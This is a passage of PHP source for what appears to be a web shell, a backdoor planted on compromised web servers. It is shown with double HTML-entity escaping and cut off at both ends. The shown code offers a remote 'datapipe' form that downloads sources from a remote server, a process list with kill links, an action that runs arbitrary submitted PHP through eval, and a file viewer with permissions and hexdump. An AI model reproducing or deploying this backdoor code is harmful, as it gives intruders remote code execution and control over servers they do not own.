&amp;lt;b&amp;gt;Datapipe:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=tools&amp;gt;&amp;lt;input type=hidden name=d value=&amp;quot;&amp;lt;?php echo $d; ?&amp;gt;&amp;quot;&amp;gt;HOST: &amp;lt;input type=text name=&amp;quot;datapipe[remoteaddr]&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($datapipe[&amp;quot;remoteaddr&amp;quot;]); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;Local port: &amp;lt;input type=text name=&amp;quot;datapipe[localport]&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($datapipe[&amp;quot;localport&amp;quot;]); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;select name=&amp;quot;datapipe[src]&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
foreach($dpsrcs as $k=&amp;gt;$v) {echo &amp;quot;&amp;lt;option value=\&amp;quot;&amp;quot;.$k.&amp;quot;\&amp;quot;&amp;quot;; if ($k == $bc[&amp;quot;src&amp;quot;]) {echo &amp;quot; selected&amp;quot;;} echo &amp;quot;&amp;gt;&amp;quot;.$v[0].&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;}&lt;br /&gt;
?&amp;gt;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit name=dpsubmit value=&amp;quot;Run&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt; sources will be downloaded from remote server.&amp;lt;?php&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;processes&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;Processes:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 if (!$win) {$handler = &amp;quot;ps -aux&amp;quot;.($grep?&amp;quot; | grep '&amp;quot;.addslashes($grep).&amp;quot;'&amp;quot;:&amp;quot;&amp;quot;);}&lt;br /&gt;
 else {$handler = &amp;quot;tasklist&amp;quot;;}&lt;br /&gt;
 $ret = myshellexec($handler);&lt;br /&gt;
 if (!$ret) {echo &amp;quot;Can't execute \&amp;quot;&amp;quot;.$handler.&amp;quot;\&amp;quot;!&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  if (empty($processes_sort)) {$processes_sort = $sort_default;}&lt;br /&gt;
  $parsesort = parsesort($processes_sort);&lt;br /&gt;
  if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}&lt;br /&gt;
  $k = $parsesort[0];&lt;br /&gt;
  if ($parsesort[1] != &amp;quot;a&amp;quot;) {$y = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;processes_sort=&amp;quot;.$k.&amp;quot;a\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sort_desc\&amp;quot; height=\&amp;quot;9\&amp;quot; width=\&amp;quot;14\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
  else {$y = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;processes_sort=&amp;quot;.$k.&amp;quot;d\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sort_asc\&amp;quot; height=\&amp;quot;9\&amp;quot; width=\&amp;quot;14\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
  $ret = htmlspecialchars($ret);&lt;br /&gt;
  if (!$win)&lt;br /&gt;
  {&lt;br /&gt;
   if ($pid)&lt;br /&gt;
   {&lt;br /&gt;
    if (is_null($sig)) {$sig = 9;}&lt;br /&gt;
    echo &amp;quot;Sending signal &amp;quot;.$sig.&amp;quot; to #&amp;quot;.$pid.&amp;quot;... &amp;quot;;&lt;br /&gt;
    if (posix_kill($pid,$sig)) {echo &amp;quot;OK.&amp;quot;;}&lt;br /&gt;
    else {echo &amp;quot;ERROR.&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot; &amp;quot;,$ret);}&lt;br /&gt;
   $stack = explode(&amp;quot;\n&amp;quot;,$ret);&lt;br /&gt;
   $head = explode(&amp;quot; &amp;quot;,$stack[0]);&lt;br /&gt;
   unset($stack[0]);&lt;br /&gt;
   for($i=0;$i&amp;lt;count($head);$i++)&lt;br /&gt;
   {&lt;br /&gt;
    if ($i != $k) {$head[$i] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;processes_sort=&amp;quot;.$i.$parsesort[1].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$head[$i].&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
   $prcs = array();&lt;br /&gt;
   foreach ($stack as $line)&lt;br /&gt;
   {&lt;br /&gt;
    if (!empty($line))&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
     $line = explode(&amp;quot; &amp;quot;,$line);&lt;br /&gt;
     $line[10] = join(&amp;quot; &amp;quot;,array_slice($line,10));&lt;br /&gt;
     $line = array_slice($line,0,11);&lt;br /&gt;
     if ($line[0] == get_current_user()) {$line[0] = &amp;quot;&amp;lt;font color=green&amp;gt;&amp;quot;.$line[0].&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
     $line[] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=processes&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;pid=&amp;quot;.$line[1].&amp;quot;&amp;amp;sig=9\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;KILL&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     $prcs[] = $line;&lt;br /&gt;
     echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   while (ereg(&amp;quot;&amp;quot;,$ret)) {$ret = str_replace(&amp;quot;&amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   while (ereg(&amp;quot; &amp;quot;,$ret)) {$ret = str_replace(&amp;quot; &amp;quot;,&amp;quot;&amp;quot;,$ret);}&lt;br /&gt;
   $ret = convert_cyr_string($ret,&amp;quot;d&amp;quot;,&amp;quot;w&amp;quot;);&lt;br /&gt;
   $stack = explode(&amp;quot;\n&amp;quot;,$ret);&lt;br /&gt;
   unset($stack[0],$stack[2]);&lt;br /&gt;
   $stack = array_values($stack);&lt;br /&gt;
   $head = explode(&amp;quot;&amp;quot;,$stack[0]);&lt;br /&gt;
   $head[1] = explode(&amp;quot; &amp;quot;,$head[1]);&lt;br /&gt;
   $head[1] = $head[1][0];&lt;br /&gt;
   $stack = array_slice($stack,1);&lt;br /&gt;
   unset($head[2]);&lt;br /&gt;
   $head = array_values($head);&lt;br /&gt;
   if ($parsesort[1] != &amp;quot;a&amp;quot;) {$y = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;processes_sort=&amp;quot;.$k.&amp;quot;a\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sort_desc\&amp;quot; height=\&amp;quot;9\&amp;quot; width=\&amp;quot;14\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   else {$y = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;processes_sort=&amp;quot;.$k.&amp;quot;d\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sort_asc\&amp;quot; height=\&amp;quot;9\&amp;quot; width=\&amp;quot;14\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   if ($k &amp;gt; count($head)) {$k = count($head)-1;}&lt;br /&gt;
   for($i=0;$i&amp;lt;count($head);$i++)&lt;br /&gt;
   {&lt;br /&gt;
    if ($i != $k) {$head[$i] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;processes_sort=&amp;quot;.$i.$parsesort[1].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.trim($head[$i]).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
   $prcs = array();&lt;br /&gt;
   foreach ($stack as $line)&lt;br /&gt;
   {&lt;br /&gt;
    if (!empty($line))&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
     $line = explode(&amp;quot;&amp;quot;,$line);&lt;br /&gt;
     $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);&lt;br /&gt;
     $line[2] = intval(str_replace(&amp;quot; &amp;quot;,&amp;quot;&amp;quot;,$line[2]))*1024; &lt;br /&gt;
     $prcs[] = $line;&lt;br /&gt;
     echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  $head[$k] = &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.$head[$k].&amp;quot;&amp;lt;/b&amp;gt;&amp;quot;.$y;&lt;br /&gt;
  $v = $processes_sort[0];&lt;br /&gt;
  usort($prcs,&amp;quot;tabsort&amp;quot;);&lt;br /&gt;
  if ($processes_sort[1] == &amp;quot;d&amp;quot;) {$prcs = array_reverse($prcs);}&lt;br /&gt;
  $tab = array();&lt;br /&gt;
  $tab[] = $head;&lt;br /&gt;
  $tab = array_merge($tab,$prcs);&lt;br /&gt;
  echo &amp;quot;&amp;lt;TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\&amp;quot;100%\&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\&amp;quot;#C0C0C0\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
  foreach($tab as $i=&amp;gt;$k)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
   foreach($k as $j=&amp;gt;$v) {if ($win and $i &amp;gt; 0 and $j == 2) {$v = view_size($v);} echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;eval&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if (!empty($eval))&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Result of execution this PHP-code&amp;lt;/b&amp;gt;:&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  $tmp = ob_get_contents();&lt;br /&gt;
  $olddir = realpath(&amp;quot;.&amp;quot;);&lt;br /&gt;
  @chdir($d);&lt;br /&gt;
  if ($tmp)&lt;br /&gt;
  {&lt;br /&gt;
   ob_clean();&lt;br /&gt;
   eval($eval);&lt;br /&gt;
   $ret = ob_get_contents();&lt;br /&gt;
   $ret = convert_cyr_string($ret,&amp;quot;d&amp;quot;,&amp;quot;w&amp;quot;);&lt;br /&gt;
   ob_clean();&lt;br /&gt;
   echo $tmp;&lt;br /&gt;
   if ($eval_txt)&lt;br /&gt;
   {&lt;br /&gt;
    $rows = count(explode(&amp;quot;\r\n&amp;quot;,$ret))+1;&lt;br /&gt;
    if ($rows &amp;lt; 10) {$rows = 10;}&lt;br /&gt;
    echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;textarea cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;&amp;quot;.$rows.&amp;quot;\&amp;quot; readonly&amp;gt;&amp;quot;.htmlspecialchars($ret).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   else {echo $ret.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   if ($eval_txt)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;textarea cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;15\&amp;quot; readonly&amp;gt;&amp;quot;;&lt;br /&gt;
    eval($eval);&lt;br /&gt;
    echo &amp;quot;&amp;lt;/textarea&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   else {echo $ret;}&lt;br /&gt;
  }&lt;br /&gt;
  @chdir($olddir);&lt;br /&gt;
 }&lt;br /&gt;
 else {echo &amp;quot;&amp;lt;b&amp;gt;Execution PHP-code&amp;lt;/b&amp;gt;&amp;quot;; if (empty($eval_txt)) {$eval_txt = TRUE;}}&lt;br /&gt;
 echo &amp;quot;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;\&amp;quot; method=POST&amp;gt;&amp;lt;input type=hidden name=act value=eval&amp;gt;&amp;lt;textarea name=\&amp;quot;eval\&amp;quot; cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;10\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($eval).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;input type=hidden name=\&amp;quot;d\&amp;quot; value=\&amp;quot;&amp;quot;.$dispd.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=submit value=\&amp;quot;Execute\&amp;quot;&amp;gt;&amp;amp;nbsp;Display in text-area&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;eval_txt\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;quot;; if ($eval_txt) {echo &amp;quot; checked&amp;quot;;} echo &amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;f&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != &amp;quot;edit&amp;quot;)&lt;br /&gt;
 {&lt;br /&gt;
  if (file_exists($d.$f)) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Permision denied (&amp;quot;.htmlspecialchars($d.$f).&amp;quot;)!&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;File does not exists (&amp;quot;.htmlspecialchars($d.$f).&amp;quot;)!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=edit&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;c=1\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;Create&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $r = @file_get_contents($d.$f);&lt;br /&gt;
  $ext = explode(&amp;quot;.&amp;quot;,$f);&lt;br /&gt;
  $c = count($ext)-1;&lt;br /&gt;
  $ext = $ext[$c];&lt;br /&gt;
  $ext = strtolower($ext);&lt;br /&gt;
  $rft = &amp;quot;&amp;quot;;&lt;br /&gt;
  foreach($ftypes as $k=&amp;gt;$v) {if (in_array($ext,$v)) {$rft = $k; break;}}&lt;br /&gt;
  if (eregi(&amp;quot;sess_(.*)&amp;quot;,$f)) {$rft = &amp;quot;phpsess&amp;quot;;}&lt;br /&gt;
  if (empty($ft)) {$ft = $rft;}&lt;br /&gt;
  $arr = array(&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_diz\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;info&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_html\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;html&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_txt\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;txt&amp;quot;),&lt;br /&gt;
   array(&amp;quot;Code&amp;quot;,&amp;quot;code&amp;quot;),&lt;br /&gt;
   array(&amp;quot;Session&amp;quot;,&amp;quot;phpsess&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_exe\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;exe&amp;quot;),&lt;br /&gt;
   array(&amp;quot;SDB&amp;quot;,&amp;quot;sdb&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_gif\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;img&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_ini\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;ini&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=download\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;download&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_rtf\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;notepad&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=change\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;edit&amp;quot;)&lt;br /&gt;
  );&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Viewing file:&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_&amp;quot;.$ext.&amp;quot;\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;quot;.$f.&amp;quot; (&amp;quot;.view_size(filesize($d.$f)).&amp;quot;) &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;.view_perms_color($d.$f).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Select action/file-type:&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  foreach($arr as $t)&lt;br /&gt;
  {&lt;br /&gt;
   if ($t[1] == $rft) {echo &amp;quot; &amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=&amp;quot;.$t[1].&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;font color=green&amp;gt;&amp;quot;.$t[0].&amp;quot;&amp;lt;/font&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   elseif ($t[1] == $ft) {echo &amp;quot; &amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=&amp;quot;.$t[1].&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;&amp;quot;.$t[0].&amp;quot;&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   else {echo &amp;quot; &amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=&amp;quot;.$t[1].&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$t[0].&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   echo &amp;quot; (&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=&amp;quot;.$t[1].&amp;quot;&amp;amp;white=1&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot; target=\&amp;quot;_blank\&amp;quot;&amp;gt;+&amp;lt;/a&amp;gt;) |&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;&lt;br /&gt;
  if ($ft == &amp;quot;info&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;Information:&amp;lt;/b&amp;gt;&amp;lt;table border=0 cellspacing=1 cellpadding=2&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Path&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.$d.$f.&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Size&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.view_size(filesize($d.$f)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;MD5&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.md5_file($d.$f).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
   if (!$win)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Owner/Group&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;;    &lt;br /&gt;
    $ow = posix_getpwuid(fileowner($d.$f));&lt;br /&gt;
    $gr = posix_getgrgid(filegroup($d.$f));&lt;br /&gt;
    echo ($ow[&amp;quot;name&amp;quot;]?$ow[&amp;quot;name&amp;quot;]:fileowner($d.$f)).&amp;quot;/&amp;quot;.($gr[&amp;quot;name&amp;quot;]?$gr[&amp;quot;name&amp;quot;]:filegroup($d.$f));&lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Perms&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=chmod&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.view_perms_color($d.$f).&amp;quot;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Create time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,filectime($d.$f)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Access time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,fileatime($d.$f)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;MODIFY time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,filemtime($d.$f)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   $fi = fopen($d.$f,&amp;quot;rb&amp;quot;);&lt;br /&gt;
   if ($fi)&lt;br /&gt;
   {&lt;br /&gt;
    if ($fullhexdump) {echo &amp;quot;&amp;lt;b&amp;gt;FULL HEXDUMP&amp;lt;/b&amp;gt;&amp;quot;; $str = fread($fi,filesize($d.$f));}&lt;br /&gt;
    else {echo &amp;quot;&amp;lt;b&amp;gt;HEXDUMP PREVIEW&amp;lt;/b&amp;gt;&amp;quot;; $str = fread($fi,$hexdump_lines*$hexdump_rows);}&lt;br /&gt;
    $n = 0;&lt;br /&gt;
    $a0 = &amp;quot;00000000&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $a1 = &amp;quot;&amp;quot;;&lt;br /&gt;
    $a2 = &amp;quot;&amp;quot;;&lt;br /&gt;
    for ($i=0; $i&amp;lt;strlen($str); $i++)&lt;br /&gt;
    {&lt;br /&gt;
